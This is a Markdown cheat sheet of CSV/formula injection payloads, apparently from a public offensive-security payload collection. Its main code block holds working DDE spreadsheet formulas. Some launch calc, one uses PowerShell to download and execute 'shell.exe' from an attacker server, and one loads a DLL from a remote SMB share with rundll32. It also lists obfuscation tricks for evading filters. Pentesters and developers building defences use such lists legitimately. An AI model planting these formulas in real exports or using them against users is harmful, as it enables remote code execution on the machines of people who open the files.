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63 lines
2.7 KiB
Markdown
63 lines
2.7 KiB
Markdown
# CSV Injection (Formula Injection)
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Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
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## Exploit
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Basic exploit with Dynamic Data Exchange
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```powershell
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# pop a calc
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DDE ("cmd";"/C calc";"!A0")A0
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@SUM(1+1)*cmd|' /C calc'!A0
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=2+5+cmd|' /C calc'!A0
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# pop a notepad
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=cmd|' /C notepad'!'A1'
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# powershell download and execute
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=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
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# msf smb delivery with rundll32
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=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
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# Prefix obfuscation and command chaining
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=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
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=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
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+thespanishinquisition(cmd|'/c calc.exe'!A
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= cmd|'/c calc.exe'!A
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# Using rundll32 instead of cmd
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=rundll32|'URL.dll,OpenURL calc.exe'!A
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=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
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# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
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= C m D | '/ c c al c . e x e ' ! A
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```
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Technical Details of the above payload:
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- `cmd` is the name the server can respond to whenever a client is trying to access the server
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- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
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- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
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Any formula can be started with
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```powershell
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=
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+
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–
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@
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```
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## References
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* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
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* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
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* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
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* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
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* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
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* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
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* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
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* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
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